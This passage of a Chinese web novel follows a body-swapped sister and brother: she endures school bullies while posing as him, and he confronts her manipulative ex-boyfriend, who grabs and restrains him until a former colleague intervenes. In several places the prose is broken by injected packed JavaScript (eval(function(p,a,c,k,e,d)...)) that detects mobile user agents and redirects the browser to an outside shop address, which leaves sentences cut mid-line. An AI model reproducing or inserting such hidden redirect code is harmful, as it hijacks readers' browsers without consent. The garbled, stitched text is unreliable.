l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345250|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近了一点,“听说你在黑板上做题?太阳打西边出来了?还是昨天晚上进局子,把脑子进坏了?” 沈知窈看着他,突然想起一件事。 昨晚她弟进局子,是因为打架。而打架的原因,是帮一个陌生女孩。 那个女孩反咬一口,说他们是一伙的。 她不知道那个女孩和李浩有没有关系,但她知道,她弟被人欺负了很多年,从初一开始,一直被欺负到现在。 那些欺负他的人里,有一个叫李浩的。 “我进局子,”她一字一句说,“是因为帮人,不是为了打架。” 李浩愣了一下,然后笑了:“帮人?你?帮人?沈渡舟,你什么时候学会做好事了?” “一直都会。”沈知窈说。 这句话和她刚才回答数学老师的一模一样。 李浩的笑容僵了一瞬。 旁边围观的人越来越多,已经有人拿出手机在拍了。沈知窈余光扫到那些镜头,心里一紧——她不能被拍下来发到网上,万一被她同事看见,万一被她学生看见,万一被她那个姓林的……不对,已经分了。 但她还是不能被拍。 她不知道她弟平时怎么处理这种事,但她知道,现在必须结束这场对峙。 “让一下,”她说,“我要去厕所。” 李浩没动。 沈知窈看着他,用她弟的眼睛,她弟的表情,她弟那种“你再不让开我就对你不客气”的眼神——虽然她不知道这个眼神具体是什么样的,但她尽力了。 李浩和她对视了两秒,然后往旁边让了一步。 沈知窈从他身边走过去,走出教室,走进走廊。 身后传来李浩的声音:“沈渡舟,你他妈等着。” 她没回头。 厕所在这层楼的最西边。她走进去,站在洗手池前,对着镜子看自己——她弟的脸,她弟的表情,她弟的眼神。 镜子里的人看起来和她平时认识的那个弟弟不太一样。也许是光线问题,也许是她现在的视角问题,也许是因为她知道了那些她以前不知道的事——那沓奖状,那个笔记本,那句“如果我变成坏人,别怪我”。 她低下头,洗手。 旁边有人走进来,站在她旁边,也洗手。 沈知窈没在意,洗完之后准备走。 “渡哥。” 她停住脚步,转过头。 是一个不认识的男生,比她矮一点,瘦瘦的,皮肤有点黑,穿着校服,袖口磨破了。那男生看着她,表情有点紧张,有点犹豫,还有一点说不清的东西。 “有事?”沈知窈问。 那男生张了张嘴,好像想说什么,但最后只是摇了摇头,挤出一个笑:“没事。就是……那个……你今天,挺厉害的。” 沈知窈愣了一下:“什么厉害?” “李浩啊,”那男生压低声音,“你刚才怼他,没动手,但把他怼得说不出话。我看了三年,第一次见他被人怼成那样。” 沈知窈沉默了两秒,然后说:“哦。” 那男生往门口看了一眼,确认没人,又压低声音说:“渡哥,其实……我们都知道,当年那事,是他们不对。你变成现在这样,也是因为他们。” 沈知窈的心跳漏了一拍。 “当年那事”,什么当年那事? 9. 不卑不亢 她想起她弟的日记,想起那些揉皱的纸,想起那句话:“他们让我跪下,我没跪。李浩说,你姐不是大学生吗?让她来啊,看我们怎么对她。” 她看着眼前这个陌生的男生,突然明白了一件事。 她弟的事,有人知道。至少,这个男生知道一些。 “你知道什么?”她问。 那男生愣了一下,大概没想到她会这么问。他张了张嘴,正想说什么,厕所门被推开了,有人走进来。 那男生立刻低下头,匆匆说了一句“渡哥快上课了,我先走了”,就跑了出去。 沈知窈站在原地,看着他的背影消失在门口。 她记住了那张脸。 下午放学的时候,沈知窈在校门口又遇到了黄毛。 黄毛是骑着一辆鬼火摩托来的,车停在路边的树荫下,他本人靠在车上抽烟,头发染成金黄色,在阳光下闪闪发光。他身后还站着两个人,一个染红毛,一个染绿毛,三个人站在一起,像一盒被打开的水彩笔。 沈知窈看见他们的时候,第一反应是想绕路走。但黄毛已经看见她了,正朝她招手。 “渡哥!这边!” 沈知窈深吸一口气,走过去。 “你怎么来了?”她问。 黄毛上下打量她一眼,皱了皱眉:“你咋了?脸色这么差?昨天真生病了?” “好了。” “好了就行。”黄毛把烟掐灭,弹进路边的垃圾桶里,“走,上网去。” 沈知窈愣了一下。她弟平时不上课的时候,就干这个?上网? “今天不行。”她说。 黄毛的眉毛挑了起来:“为啥?” “有事。” “什么事?” 沈知窈想了想,编不出来,只能说:“私事。” 黄毛盯着她看了两秒,然后笑了:“渡哥,你今天怪怪的。行,私事就私事,改天再约。” 他拍了拍沈知窈的肩膀——拍得很重,沈知窈被她弟的身体带着晃了一下。 黄毛招了招手:“那我们先走了,有事打电话。” 沈知窈点了点头。 黄毛跨上摩托,发动引擎,轰隆隆的声音震得路边的人纷纷侧目。他回头看了沈知窈一眼,突然又说:“渡哥。” “嗯?” “你那个……姐,”黄毛说,“昨晚没事吧?我听说你姐来派出所接你了?” 沈知窈愣了一下。她弟的兄弟,知道她? “没事。”她说。 “那就好。”黄毛点了点头,“你姐说到底也是关心你的,以前对你挺好的,你别老跟她横。” 沈知窈站在原地,看着那辆鬼火摩托载着三盒水彩笔消失在车流里。 “你姐以前对你挺好的。” 「以前」两个字深深刺伤了沈知窈的心脏。 她想起昨晚在派出所,她打她弟那一巴掌。想起这些年,她每次被叫家长,心里涌起的烦躁和嫌弃。想起她弟的日记里那句话:“姐说我烂透了。她说得对。” 她对她弟,挺好的? 是啊,是很久以前的事情了吧。 她不知道黄毛是从哪得出这个结论的,但她突然想,也许在她弟的眼里,在她弟的朋友眼里,她这个姐姐,和真实的她,不是同一个人。 也许她弟在外面,从来不提她怎么对他的不好。 也许她弟在外面,只说她的好。 她站在那里,看着车来车往,站了很久。 晚上回到上沙村那间小屋子的时候,天已经黑了。 沈知窈打开门,开灯,在那张单人床上坐下。 手机震了。是她弟发来的消息:“今天怎么样?” 她看着那三个字,想起白天发生的一切——数学题、李浩、厕所里的陌生男生、黄毛说的那句话。太多信息涌进脑子里,让她不知道该从何说起。 她回:“还行。” 过了两秒,她又发了一条:“你呢?” 沈渡舟那边回:“我也还行。” 话到嘴边,沈渡舟不知道怎么开口了。 他能问出口什么问题——姐,林嘉文说你出轨了,你真的出轨了吗。 姐,你为什么吃那些药,你身上经历了什么,你为什么不愿意和你唯一的弟弟说呢。 或许是说了也没用吧,沈知窈知道,沈渡舟也知道。 沈渡舟只是不甘心,好好的姐姐怎么会变成这个样子。 沈知窈愣了一下,然后忍不住笑了。 突然觉得胸口那个堵了很久的地方,又松开了一点。 她回:“你是在学我说话吗。” 那边回:“废话,我马上要去上班了,肯定得学得像一点。” 她看着那个“废话”,又笑了。 窗外,夜色渐深,楼下有人在吵架,女人的声音尖利,男人的声音低沉,和早上来时听见的一模一样。 她躺下来,躺在她弟的床上,闻着他枕头上的味道,玫瑰香氛味道的洗衣液,烟草味,还有一点点阳光晒过的气息。 她闭上眼睛。 明天还要继续装下去。继续装那个她从来不了解的弟弟。继续面对那些她从来没接触过的人——李浩那些家伙,黄毛,厕所里那个奇怪的男生,还有那些用看外星人的眼神看她的同学。 但她突然觉得,好像也没那么可怕了。 至少,她今天知道了三件事: 第一,她弟在学校,不是她想象的那种纯粹的混混。他被人欺负过,被人逼到绝路过,但他活下来了,还是用一种她看不懂的方式。 第二,她弟在外面,从来没说过她的坏话。在他的朋友眼里,她是个“对他挺好的”姐姐。 第三,她弟心态不错,好像对她的生活得心应手。 就冲这最后一点,她也得替他好好活下去。 手机又震了,她弟发来的最后一条消息:“明天还去上课?” 她回:“去。” 那边回:“行,我也去上班。” 她看着那条消息,突然想起一个问题。 她弟用她的身体去上班,那个洪导会怎么对他?那些同事会怎么看他?他能应付得来吗? 她想了想,又发了一条:“你那边要是有什么事,告诉我。” 那边回:“你也是。” 她握着手机,看着那两个字,很久没动。 窗外,吵架的声音停了。楼下传来一阵摩托车的轰鸣,渐行渐远,最后消失在夜色里。 她闭上眼睛,沉沉睡去。 沈渡舟从来没想过,自己有一天会坐在高校的办公室里,听一群成年人开一个他完全听不懂的会。 会议室的空调开得很足,冷气从头顶的通风口往下灌,吹得他后脖颈一阵一阵发凉。他坐在靠窗的位置,面前摆着一杯茶,茶已经凉了,水面漂着一片泡烂的茶叶。 他在听。 准确地说,他在努力装作在听。 对面那个叫洪德清的人正在讲话,手里拿着一份打印出来的材料,一边说一边用手指敲着桌面。洪导全名洪德清,四十五岁左右,头发稀疏,戴金丝边眼镜,说话的时候喜欢拖长音,显得自己很有权威的样子。 “……这个项目的申报截止日期是下周五,沈老师的部分还没有交齐,这让我们整个团队都很被动啊。” 沈渡舟感觉到所有人的目光都转向了自己。 他用沈知窈的脸,做出一个“我在听”的表情,点了点头。 洪德清看了他一眼,继续说:“沈老师最近状态一直不太好,上次的组会也没参加,这次的申报材料又拖延,是不是有什么困难?有困难可以提出来,大家一起解决嘛。” 这话听着像是关心,但语气不对。 沈渡舟在社会上混了几年,别的本事没有,看人脸色是基本功。他知道这个洪德清不是在关心他姐,是在给他姐上眼药。 他不知道该怎么回。他姐平时怎么回这种话的?他想起他姐手机里那些没发出去的消息——“好的我马上改”“抱歉我会调整”“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他看着他,用他姐的眼睛,他姐的脸,但眼神是他自己的——那种十七岁少年特有的、不知道怕的、豁得出去的眼神。 “沈知窈,”洪德清咬着牙说,“你是不是不想干了?” 沈渡舟也站了起来。 他比他姐高,但现在用的是他姐的身体,站起来之后发现自己比洪德清矮了半头,但这不影响他把话说清楚。 “洪老师,”他说,“我从入职到现在四年,负责的项目七个,发表的论文九篇,带的学生十二个。您呢?” 洪德清张了张嘴,没说出话来。 “您这四年,项目挂名,论文二作,学生甩给别人带,开会的时候指点江山,改稿的时候挑三拣四。我熬了四年夜,您说我不如本科生。我写了十七版,您说质量太差。我——”他顿了顿,想起他姐床头柜上的药瓶,“我觉得您不要占着茅坑不拉屎。” 会议室里有人倒吸一口凉气。 洪德清的脸从红变白,又从白变紫。 “沈知窈,你——” “我怎么了?”沈渡舟往前走了半步,“我说错了吗?您要是有道理,您指出来。您要是没道理,您坐下。大家时间都很宝贵,别浪费。” 洪德清站在那里,像一根被雷劈过的电线杆。 没有人说话。 沈渡舟等了三秒,然后坐下了。 他端起那杯凉透的茶,喝了一口,又冷又哭苦。 洪德清站在原地,张了张嘴,又闭上。最后他什么都没说,也坐下了。 会议继续。但后面讲了什么,沈渡舟一个字都没听进去。 他只知道,散会的时候,好几个人走过来,用一种全新的眼神看着他。 “知窈,”那个年轻女老师小声说,“你今天……太帅了。” 沈渡舟看了她一眼,点了点头:“嗯。” 女老师愣了一下,然后笑了:“你今天说话怎么这么酷?” 沈渡舟想了想,说:“可能因为,不想忍了。” 10. 死缠烂打 下午两点,沈渡舟回到他姐的办公室。 办公室不大,一张办公桌,一个书柜,两把椅子。桌上堆着厚厚几摞书,书页里夹着各种颜色的便签条。电脑屏幕上贴着一张便利贴,上面写着一行字:每天提醒自己,活着就好。 他看着那张便利贴,站了很久。 然后他坐下,打开电脑,准备帮他姐把那个被洪导骂的申报书改完。 刚打开文档,手机震了。 他拿起来一看,屏幕上“林嘉文”三个字赫然在目。 林嘉文? 这男的怎么还死皮赖脸死缠烂打不知好歹的? 消息内容:“窈窈,昨天的事我想过了,是我不好,不该说那些话,我们能不能好好聊聊?” 沈渡舟盯着这条消息,沉默了两秒。 然后他回:“聊什么?该聊的都聊完了,我的话不够清楚?” 那边几乎是秒回:“聊聊我们之间的问题。我知道你最近压力大,情绪不稳定,我不怪你。但我觉得我们还有挽回的余地。” 沈渡舟又沉默了两秒,心想这男人真是厚颜无耻。 “我不怪你。” 这四个字让他想起昨晚那个姓林的说的那些话——“你最近是不是压力太大”“我是为你好”。 还有那句:“除了我,没人受得了你这个脾气。” 他攥着手机,指节发白。 又一条消息进来了:“窈窈,你在吗?我就在你们学校附近,能不能见一面?” 沈渡舟看着这条消息,突然笑了。 他回:“行,你在哪?” 那边发来一个定位,是学校东门外的一家咖啡馆。 他站起来,拿起他姐的包哐哐往外走。 走到门口,他又停下来,回头看了一眼那张便利贴。 每天提醒自己,活着就好。 他走过去,把那张便利贴撕下来,折好,放进口袋里。 然后他推开门,走了出去。 咖啡馆不大,装修得很文艺,墙上挂着黑白照片,角落里摆着一架落灰的钢琴。 沈渡舟推门进去的时候,林嘉文已经坐在靠窗的位置了,他穿着一件浅蓝色的衬衫,袖子卷到小臂,头发梳得一丝不苟,脸上带着那种“我知道你会来”的微笑。 看见沈渡舟走进来,他站起来,往前迎了一步:“窈窈。” 沈渡舟没理他,直接走到他对面坐下。 林嘉文也跟着坐下,招了招手,叫来服务员:“喝点什么?这次还是喝枫糖咖啡么?” 沈渡舟看着他:“怎么,还想被泼?” 林嘉文对服务员说:“那算了,一杯美式,一杯拿铁,拿铁少糖——你喝美式我喝拿铁。” 服务员签好纸单离开了。 林嘉文转过来,看着沈渡舟,眼神温柔得能滴出水来:“窈窈,昨天的事,我真的不怪你。我知道你是太累了,一时冲动。我们在一起三年,我了解你。” 沈渡舟毫不客气:“你是对自己下头的一面只字不提啊,合着分手全是我的错。” 林嘉文叹了口气,伸出手,想握他的手。 沈渡舟冷脸把手缩回去,放到桌下。 想碰沈知窈的手,你臭小子配么。 林嘉文的手停在半空,顿了一下,收回去。他脸上的笑容不变,但眼底闪过一丝什么。 “窈窈,”他说,“你到底怎么了?你以前不是这样的。” 沈渡舟忍不住开口了:“我以前是哪样的?” 林嘉文愣了一下,然后说:“你以前……温柔,懂事,善解人意。你从来不会这样对我。” 沈渡舟看着他,一字一句:“我温柔,懂事,善解人意,所以你就可以随便说‘除了我没人受得了你’?” 林嘉文的表情僵了一瞬。 “我温柔,懂事,善解人意,”沈渡舟继续说,“所以你就可以说我‘又胖了’,说我‘肯定哪里没做好’,说我需要‘反思自己’?” “窈窈,我不是那个意思——” “你是什么意思?” 沈渡舟通过对PUA话术的学习,如今运用起来炉火纯青,走渣男的路让渣男无路可走。 林嘉文张了张嘴,没说出话来。 沈渡舟看着他,突然觉得很可笑。 这个人,这个三十多岁、戴着眼镜、穿着浅蓝色衬衫、说话温柔得能滴出水来的人,在沈知窈身边如同定时炸弹。 他是不是经常用那件事恐吓威胁姐姐,所以他们一直就这么纠缠着。 “我问你几个问题。”沈渡舟说。 林嘉文看着他,脸上的笑容终于消失了。 “第一,”沈渡舟竖起一根手指,“我跟你在一起这三年,你有没有真心为我做过一件事?你是因为爱我才跟我在一起的么?” 林嘉文不说话。 “第二,”沈渡舟竖起第二根手指,“你知道我在吃药,对不对?” 林嘉文的脸色开始变了。 “第三,”沈渡舟竖起第三根手指,“我为什么会吃药,我为什么会经历那样的事,你心里难道一点数都没有吗?” 林嘉文张了张嘴,想说什么,但什么都说不出来。 沈渡舟看着他,眼神很平静,但心底早已波涛汹涌。 看来思路没错,给他猜对了。 “你一个都答不上来?”沈渡舟嗤笑了一声,不回答何尝不是答案,“看来这三年来,你一直都这么自私,我不指望你能帮我,别拖我后腿就行,可惜就这么容易的事,你都办不好。” 林嘉文的脸色彻底白了。 “窈窈,你不能这样说我,我对你——” “你对我怎么了?”沈渡舟打断他,“你对我说的那些话,哪一句不是为了让我觉得自己不够好?你对我做的那些事,哪一件不是为了让你更心安理得去出轨!” 林嘉文的脸涨红了:“沈知窈,你疯了!我什么时候PUA你了?我那是关心你!” 很好,居然没否认出轨的事。 “关心我?”沈渡舟笑了,笑得有点冷,“关心我的人,不会在我最难过的时候说‘你那个样子就是勾引人犯罪,不干净了就是不干净了’。关心我的人,不会在我加班到凌晨的时候说‘你是不是能力不行’。关心我的人,不会在我想分手的时候说‘除了我没人受得了你’。” 他顿了顿,看着他姐前男友那张斯文的脸。 “你知道吗,”他说,“我昨晚回去想了很久。我想到底是从什么时候开始,我变得越来越累,越来越没劲,越来越觉得自己什么都不行。后来我想起来了——就是从认识你开始的。” 林嘉文的嘴唇在发抖。 “你让我觉得我不够好,”沈渡舟说,“你让我觉得我做什么都不对,你让我觉得离开你我就活不下去。可是我今天突然发现,我离开你,活得挺好。” 沈渡舟站起来。 “所以,”他说,“你以后不用再找我了。不是因为我不原谅你,是因为我懒得原谅你。” 他转身往外走。 走出两步刚走出了门,却被身后的人猝不及防拽住了。 林嘉文脸色惨白,表情扭曲又苦涩,像一尊被人打碎的雕像,“你先跟我走,你得冷静一下。” “怎么,还想对我动手动脚?”沈渡舟气不打一处来,手腕抽不出来,另一只手提着公文包就想往林嘉文头上抡。 两人推搡了一阵,也没有人敢上去阻拦,只当是小情侣吵架了。 林嘉文从背后将他抱住了,沈渡舟那一瞬间脑子里炸开一片白光。他拼命挣扎,像一条被扔上岸的鱼,手脚并用,但林嘉文的手臂像铁箍一样勒在他腰间,纹丝不动。力量太悬殊了,他用的是他姐的身体,这具身体太轻太薄,根本挣不脱那股蛮劲。 “松开!”他吼,声音从他姐的嗓子里冲出来,带着他自己都陌生的尖利。 林嘉文的脸贴在他耳边,呼吸喷在脖颈上,湿热黏腻,那声音慢悠悠的,像在哄一个闹脾气的孩子:“窈窈,别闹了,我就想跟你说说话。” “说你妈!”沈渡舟曲起胳膊肘往后撞,撞空了,又撞,第二下好像蹭到了什么,林嘉文闷哼一声,但手没松,反而勒得更紧。 巷子口那棵老槐树,树影子拖得老长,像趴在地上的怪物。远处偶尔有车驶过,灯光扫过来,又扫过去,没人往这边多看一眼。 “你放开!”沈渡舟又吼,嗓子都快劈了。他脑子里转得飞快——手机在包里,包掉在地上,够不着。喊救命?这巷子偏,这个点儿没人。他妈的,他沈渡舟这辈子还没这么窝囊过。 林嘉文在他耳边笑了一声,那笑声轻轻的,像在嘲笑他的徒劳。 “窈窈,你知不知道,你这样挣扎的样子,特别——” 话没说完,他突然停住了。 勒在腰间的手臂松了一瞬。 沈渡舟还没来得及反应,就看见一个人影从巷子口冲过来,几步就到了跟前。那人一把攥住林嘉文的肩膀,把他往后猛地一扯。林嘉文踉跄着退开,手终于松了。 沈渡舟往前抢出两步,扶着墙大口喘气。他回过头,看见一个陌生的男人站在路灯下,挡在他和林嘉文之间。 那人穿着一件浅灰色的薄外套,个子挺高,肩膀很宽,站在那儿像一堵墙。灯光从他背后打过来,看不清脸,只看见一个轮廓,和垂在身侧的两只手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345252|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那双手攥着拳,攥得很紧。 “许则安?”林嘉文的声音从后面传来,带着意外,还有一点恼羞成怒,“你怎么在这儿?” 许则安。 沈渡舟抬头,眼前的男人有些陌生——他不认识,但是出于身体的本能,本能告诉他,他和沈知窈应该是认识的。 “这人蛮横不讲理,救我!许则安!” “林老师也太没有风度了,女士已经表示拒绝,你还死缠烂打,适可而止吧。” 林嘉文笑了,那笑声在夜色里听着格外刺耳。“适可而止?我跟她说话,关你什么事?” “她不想跟你说话。”许则安说,“你看不出来吗?” 林嘉文的笑容僵了一瞬。 沈渡舟缓过劲来,从他姐身体里冲出来的那股火蹭蹭往上冒。他往前走了一步,从许则安身后探出半个脑袋,冲林嘉文骂:“你他妈耳朵聋了?我说了多少遍让你滚,你听不见?” 林嘉文看向他,眼神里有一种很奇怪的东西,“窈窈,你怎么变成这样了?你以前不是这样的。莫非你早就找好了下家,这才急着跟我分手?” 沈渡舟气得想笑。他正要开口骂回去,许则安往前迈了一步,彻底把他挡在身后。 “林老师。”许则安的声音还是那么平,但沈渡舟听出来了,那平静底下压着东西,像烧红的铁块闷在灰里,“你们已经分手了。她的事,跟你没关系。” 林嘉文的脸色变了变。他看着许则安,又看看他身后的沈渡舟,嘴角慢慢勾起一个笑。 “许则安,你刚从研究院调回来吧?听说你在那边干得不错,升了副高?怎么,一回来就管起我的事来了?” 许则安没接他这个话茬,他只是站在那儿挡在沈渡舟的面前,稳如一座一动不动的山。 沈渡舟从他肩膀后面探出头,冲林嘉文喊:“你少扯那些有的没的!我报警了!你等着!” 他其实没来得及报警,手机还在包里,包还在地上,他够不着。但他就是要这么说,气死这个该死的王八蛋。 林嘉文的脸色终于彻底沉下来,他看着许则安,又看着沈渡舟,眼神变了几变。 “行。”他往后退了一步,举起双手,做出一个“我投降”的姿势,“你们行,我走。” 他转身,走了两步,又停下来,回头看着沈渡舟。 “窈窈,我等你。你什么时候想通了,随时找我。” 沈渡舟气得浑身发抖,从许则安身后冲出来就要追上去骂,被许则安一把拦住。 林嘉文笑了笑,转身走进夜色里,脚步声渐渐远了。 巷子里安静下来,只剩风吹过树叶的沙沙声,和远处偶尔传来的车响。 沈渡舟站在那儿,大口大口喘气。刚才那股劲泄了,他姐这具身体的疲惫就涌上来,腿都在抖。 他抬起头,看着面前这个人。 许则安正低头看他,路灯从侧面照过来,照出他半张脸。五官很端正,眉骨高,眼窝深,看起来不像三十多岁的人。但他那双眼睛里有一种很沉的东西,像积了很多年没说的话。 “没事吧?”他问。 沈渡舟张了张嘴,想说没事,但嗓子眼像被什么堵住了。他只能摇了摇头。 许则安弯下腰,把他掉在地上的包捡起来,递给他。 沈渡舟接过来,攥在手里。 两个人面对面站着,沉默了几秒。 “谢谢你。”沈渡舟说,用的是他姐的声音,但语气是他自己的。他这会儿顾不上装,刚才那一出把他吓得够呛,也气得够呛,什么伪装都忘了。 许则安看着他,眼神里有一点点困惑,但没问什么。 “我送你回去。”他说。 口袋里有东西硌了他一下,他掏出来,是那张便利贴。 每天提醒自己,活着就好。 沈渡舟把便利贴贴在沈知窈的手机背面,贴得端端正正的,歪套上手机壳。 两个人并排往外走,走出巷子,走上大路,路灯亮多了,街上还有人,有车,有烧烤摊飘来的香味。那些声音和味道涌过来,把刚才那点阴森冲淡了。 许则安一路上并没有多说什么,直到把沈渡舟送回住处。 “他对你不好,是吗。” 沈渡舟愣了一下,然后反应过来他说的是林嘉文。 “谢谢你送我回家。”沈渡舟避而不答,只是强壮镇定地道了谢。 “有事给我打电话。”许则安也没强求,“我号码一直没变。” 沈渡舟站在楼下,看着他的背影消失在夜色里。远处飘来红薯烘烤的香气,路灯把他的影子拉得很长,一截一截的,最后融进黑暗里看不见了。 11. 各有心事 开门,进屋,沈渡舟把包扔在沙发上。 手机震动了两下,是沈知窈发来的消息:“今天怎么样?” 沈渡舟看着那三个字,想了想,回:“还行,替你把你那个前男友彻底处理了。” 那边沉默了几秒,然后回:“处理成什么样了?” 他回:“抨击渣男,人人有责,把他祖宗八代问候了一遍。” 那边又沉默了几秒,然后发来一个表情。 是他姐从来没用过的表情。 一个竖起来的大拇指。 沈渡舟差点没忍住笑出声,她什么时候会发表情包了,人设不太对吧。 手机又震了,还是他姐的消息:“牛啊。” 他回:“姐你眼光不行啊,就这么个男的,留着过了三次年?” 那边回:“他还说什么了没。” 沈渡舟输入语音:“他再说话,我就要抽他了,他不敢说一个字!丫的出轨还有理了,应该拖出去乱棍打死。” 隔了一会儿,沈渡舟又输入一行字:“对了姐,我今天还碰到了一个人,叫许则安,你们……什么关系?” 沈知窈回消息:“以前的同学,本来是一起留校的,但后边调去外边儿的研究所。” “是这样,林嘉文今天想对我动手动脚,恰好碰到许则安了……是他帮了你。” 沈渡舟想着刚才发生的事,一边斟酌着措辞。 沈知窈:“离林嘉文远点,一定要保持距离,他说什么你都不要信,保护好自己。” 沈渡舟想着刚才许则安挡在他前面的那个背影,想着他说“她不想跟你说话”时那个语气,想着他问“没事吧”的时候,眼睛里那点担心的东西。 本来想替对方多说几句好话的,但想到自家老姐是头犟驴,说多了反而适得其反。 顺其自然好了。 沈渡舟话题一转:“行我知道了,不说了,你冰箱里都是我不爱吃的,楼下有卖烤红薯和煎饼果子的,我要去买一个吃——” “啊喂,沈渡舟!不许过量的垃圾食品!”沈知窈气急败坏地发了条语音。 只可惜沈渡舟才不会听,风风火火下楼了。 他姐这具身体真不行,跑两步就喘,吓一跳心跳快得像要从嗓子眼蹦出来,这要是他自己的身体,早他大爷追上去给林嘉文两拳了。 煎饼摊在巷子口那棵老槐树底下,大姐正忙着,摊前站着两个人,沈渡舟走过去,排在后面。 闻着那股煎饼的香味,胃里更饿了。 “要什么?”摊主是个四十多岁的大姐,手上动作麻利,铁板上滋啦滋啦响。 沈渡舟想了想:“一个煎饼果子,加两个蛋,多放辣。” “要不要香菜?” “不要。” 话音刚落,旁边突然传来一个声音。 “她不吃香菜。” 沈渡舟愣了一下,转过头。 旁边的长椅上坐着一个人,路灯的光从侧面照过来,照出那张脸——许则安。 他坐在那儿,手里拿着半个煎饼果子,看样子已经吃了一半。他穿着一件深灰色的薄外套,领子立着,坐姿很放松,两条腿伸着,看着像是专门坐在这儿等人的。 沈渡舟心里一紧。 他怎么还在这儿?不是走了吗?还有,这是什么时候换的衣服? 许则安对上他的目光,笑了笑,指了指手里的煎饼果子。 “刚好,我也住在附近,没吃晚饭,来这边买点吃的对付一口,正好看见你也在。” 沈渡舟张了张嘴,想说话,但一时不知道该说什么,刚才在巷子里那一出,他还没从那种情绪里完全出来,这会儿突然又碰见,有点措手不及。 摊主大姐看了看他们俩,又看了看沈渡舟,眼神里带着点八卦的意味。 “认识啊?那你朋友挺了解你,不吃香菜都知道。” 沈渡舟干笑了一声,没接话。 煎饼做好了,递过来。他接过,付了钱,站在原地,不知道该走还是该留。 许则安也没走,就那么坐在长椅上,慢慢嚼着手里的煎饼。 沈渡舟想了想,走过去,在长椅另一头坐下。 两个人中间隔着一米左右的距离,不远不近,刚好够说话。 夜风吹过来,有点凉。街上人不多,偶尔有车驶过,灯光扫过来又扫过去。煎饼摊的热气飘过来,混着烤红薯的甜香,闻着挺舒服。 “你怎么知道我不吃香菜?”沈渡舟开口,尽量让他姐的语气平稳一点。 许则安没急着回答,他咽下嘴里的东西,又喝了一口水:“你以前跟我讲过,有一回你改论文改到很晚,过了饭点才吃上饭,你跟那个老板说了三遍不要香菜。” “但是很可惜,显然那个老板记性不太好,最后还是放了香菜,你就抱着面碗在角落里边挑香菜边哭,最后这顿面你还是没吃上。” 沈渡舟愣了一下。 他姐以前和许则安一起吃过饭?那他是姐姐的朋友吗?沈渡舟突然感到一阵失落,他跟沈知窈失联太久了。 沈知窈从不会在他面前聊起这些,这个许则安……他很了解沈知窈吗。 许则安继续说:“后来几次聚餐,我也会说我不吃香菜,免得你一个人不好意思。” 沈渡舟握着煎饼没说话。 这人观察力可以啊,他姐那性格,这样的事是干得出来的,看着不挑不拣,能吃饱就行,但不要香菜这事,是绝对不能忍受的。 “你调回来了?”他问,换了个话题。 许则安点头:“今天刚到。研究院那边项目结了,申请调回本校。” “以后都在?” “嗯,以后都在。” 沈渡舟咬了一口煎饼,香迷糊了。 “哪个部门?” “还是老地方。在人文学院,不过换了个方向,做城市文化研究。” 沈渡舟想起他姐说过的那本书。那本关于老街巷的书,扉页上写着“给知窈”。就是许则安写的。 “那以后我们是同事?”他问。 许则安转过头,看着他。 “对,同事。” 他顿了顿,又说:“以后有事可以直接找我。办公室在三楼,东头最里面那间,你之前去过。” 沈渡舟不知道他姐以前去没去过,但他点了点头。 “行。” 两个人又沉默下来,各自吃着手里的煎饼。 远处有人在遛狗,一条小黄狗,跑几步回头看看主人,再跑几步,尾巴摇得像拨浪鼓。烤红薯摊前排起了队,都是下晚班的人,穿着厚衣服,搓着手等着。 沈渡舟吃着煎饼,余光扫了一眼旁边的人。 许则安坐得很放松,一点没有那种“我刚救了你现在要趁机套近乎”的意思,他就是坐在那儿,吃他的煎饼,看街上的车和人,偶尔说句话,说完就继续沉默。 煎饼吃完了,沈渡舟站起来,把包装纸扔进旁边的垃圾桶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345253|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我上去了,下回有机会再请你上去坐坐。” 许则安也站起来。 “行,这会儿也晚了,你早点休息。” 许则安转身要走。 沈渡舟站在那儿,看着他的背影,突然想起一件事。 “许老师。” 许则安回过头。 沈渡舟张了张嘴,想说点什么,想说谢谢你今晚帮忙,想说以后有机会请你吃饭,想说很多话。但话到嘴边,又觉得说什么都不太对。 最后沈渡舟只说了一句:“谢谢你,明天见。” 许则安的身影被路灯拉长,落在地上的阴影短了又长,他背过身去,朝沈渡舟这边招了招手:“明天见。” 年近三十的高中生沈知窈对自己的以及弟弟的高中生活深恶痛绝。 六点不到就要上自习,拜托天都没亮——要知道她当讲师的时候,早八都够呛。 但现在没办法,四面楚歌,箭在弦上不得不发。当一个人被贴上“坏学生”的标签之后,他做什么都是错的,哪怕他只是好好听了一节课。 第三节课是物理,教物理的是一个叫秦建国的男老师,五十出头,头发花白,说话声音很大,讲课喜欢用方言。他一进教室就开始发上周的月考卷子,发到最后,手里还剩一张。 